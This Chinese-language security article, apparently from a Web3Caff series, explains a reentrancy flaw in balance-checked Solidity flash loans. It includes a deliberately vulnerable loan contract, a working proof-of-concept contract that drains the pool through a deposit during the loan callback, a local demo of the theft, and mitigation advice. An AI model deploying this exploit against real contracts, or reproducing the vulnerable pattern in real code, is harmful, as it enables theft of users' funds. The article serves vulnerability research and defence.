接下来的几篇文章,我们将陆续介绍 Solidity、Move 以及 Rust 语言闪电贷实现需要注意的问题以及解决办法

封面:Photo by Mika Baumeister on Unsplash

上一篇文章我们介绍了各种语言闪电贷的实现方式,虽然各种闪电贷项目的实现思路都大同小异,但是小小的不同也可能会导致严重的安全隐患。接下来的几篇文章,我们将陆续介绍 Solidity、Move 以及 Rust 语言闪电贷实现需要注意的问题以及解决办法。

今天我们先来介绍 Solidity 语言闪电贷需要注意的问题。

Solidity 闪电贷设计中,大部分项目会通过检查自身余额来判断调用者是否归还资金。单独看该方式是没有问题的,因为无论调用者借钱后会进行什么操作,最终都能保证合约自身资金安全。但大多闪电贷项目都不会只提供一个闪电贷功能,合约中还会存在其他业务函数,如果其他函数中有对合约余额产生影响的业务,便可能存在严重的安全隐患。

注:以下代码仅做为闪电贷安全问题研究代码,不排除存在其他安全问题

下列代码是一个简单的闪电贷示例合约,主要由两个部分组成:

第一个部分是闪电贷的功能,首先记录一个借出前合约所拥有的 ETH 数量,在借出 ETH 的同时,会调用调用者指定合约的指定函数,最后判断本合约拥有的 ETH 数量是否大于等于借出之前的 ETH 数量加上 1/100 的手续费。

第二个部分便是提供闪电贷流动性的质押功能,用户可以将 ETH 质押到闪电贷合约,通过闪电贷收取的手续费来赚取收益。

但是该合约中存在一个非常常见的重入漏洞,可以使得调用者在抵押的同时绕过闪电贷最终检查。

pragma solidity ^0.8.0;
contract loan {
string public name="lp_Loan"; string public symbol="LL"; uint256 public totalSupply; mapping(address => uint256) public _balance;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() { }
function balanceOf(address owner) public view returns (uint256) { return _balance[owner]; }
function _mint(uint256 amount) internal { _balance[msg.sender] = _balance[msg.sender] + amount; totalSupply+=amount; emit Transfer(address(0), msg.sender, amount); }
function _burn(uint256 amount) internal { _balance[msg.sender] = _balance[msg.sender] - amount; totalSupply = totalSupply - amount; emit Transfer(msg.sender, address(0), amount);}//抵押 ETH,获得凭证币 function deposit() public payable returns(uint256){ uint256 value=address(this).balance - msg.value; uint256 mint_amount; if(totalSupply==0){ mint_amount=msg.value; } else{ mint_amount=msg.value*totalSupply/value; } _mint(mint_amount); return mint_amount; }//提取 ETH,销毁凭证币 function withdrew(uint256 amount) public returns(uint256){ uint256 value=address(this).balance; uint256 send_amount; send_amount = amount * value / totalSupply; _burn(amount); payable(msg.sender).call{value:send_amount}(""); return send_amount;}//闪电贷 function flash_loan(uint256 amountOut, address to, bytes calldata data) external { uint256 value=address(this).balance; require(amountOut <= value); //发送借款并调用目标合约 payable(to).call{value:amountOut}(data); value=value/100+value; //还款检查,收取 1% 手续费(真实项目可能不会这么高) require(address(this).balance>=value); }
receive() external payable { }}

接下来我们使用以下 PoC 代码针对上述闪电贷项目进行攻击测试,主要思路是利用闪电贷的回调函数进行重入攻击,可将正常的业务行为覆盖为还款行为,最终掏空闪电贷合约的 ETH。

首先调用 PoC 合约的 start() 函数,函数将发起闪电贷。借贷金额为闪电贷合约的 ETH 余额减一,该步骤是为了后续 deposit() 的时候不会导致计算错误,传入 back() 函数做为回调参数。

然后在 back() 函数中,将借贷的 ETH 再加些许手续费抵押进闪电贷合约,会给 PoC 合约铸造凭证代币。

back() 函数结束时,闪电贷合约会检查还款情况,由于抵押时更新了 ETH 余额,所以检查将通过。最后 PoC 合约再利用凭证币将 ETH 提取出来。

pragma solidity ^0.8.0;
interface loan { function flash_loan(uint256 amountOut, address to, bytes calldata data) external; function withdrew(uint256 amount) external returns(uint256); function deposit() external payable returns(uint256);}contract poc { address public owner; address _loan; loan i_loan; uint256 mint_amount; constructor(address loan_){ owner=msg.sender; _loan=loan_; i_loan=loan(loan_); } function start() public { uint256 value_first = address(this).balance; //发起闪电贷 i_loan.flash_loan(_loan.balance-1,address(this),abi.encodePacked(bytes4(keccak256("back()")))); //提取 ETH i_loan.withdrew(mint_amount); //判断是否产生收益 require(address(this).balance > value_first); }
function back() public payable { //闪电贷回调,质押 ETH(此处并非一定质押 102% 的 ETH,但必须超过 101%) mint_amount = i_loan.deposit{value:(msg.value*102/100)}(); }
receive() external payable { }
function getEth() external { payable(owner).transfer(address(this).balance); }}

本地环境演示:

首先部署闪电贷合约,并通过某地址向其中抵押 50 枚 ETH,模拟项目开始使用。 

部署 PoC 合约,并传入 loan 合约地址,向其中转入些许手续费,为之后过闪电贷手续费检查做准备。 

调用 PoC 合约的 start() 函数,可以发现,loan 的 ETH 已经被转移到了 PoC 合约。loan 合约仅剩 1 wei 的余额。

PoC 合约拥有 52ETH,收益了 50ETH。 

安全建议:

对于使用余额来进行判断的闪电贷项目,并且合约中还存在其他和余额操作有关的业务函数,那么需要在闪电贷函数和其他业务函数之间添加重入锁,防止在闪电贷过程中再次进入合约,从而影响最终检查。

或者使用单独的账本记录其他业务的相关信息,闪电贷函数在做检查的时候,要将单独账本进行共同检查。例如上述代码,deposit 函数中增加一个账本用于记录抵押量,在 flash_loan 函数中,需要减去该抵押量账本数据,再进行闪电贷前后判断。

使用其他方式进行还款验证,例如 ERC20 代币的闪电贷,使用 SafeTansferfrom 函数进行转账,实行 “强制” 还款方案。

免责声明:作为区块链信息平台,本站所发布文章仅代表作者及嘉宾个人观点,与 Web3Caff 立场无关。 文章内的信息仅供参考,均不构成任何投资建议及要约,并请您遵守所在国家或地区的相关法律法规。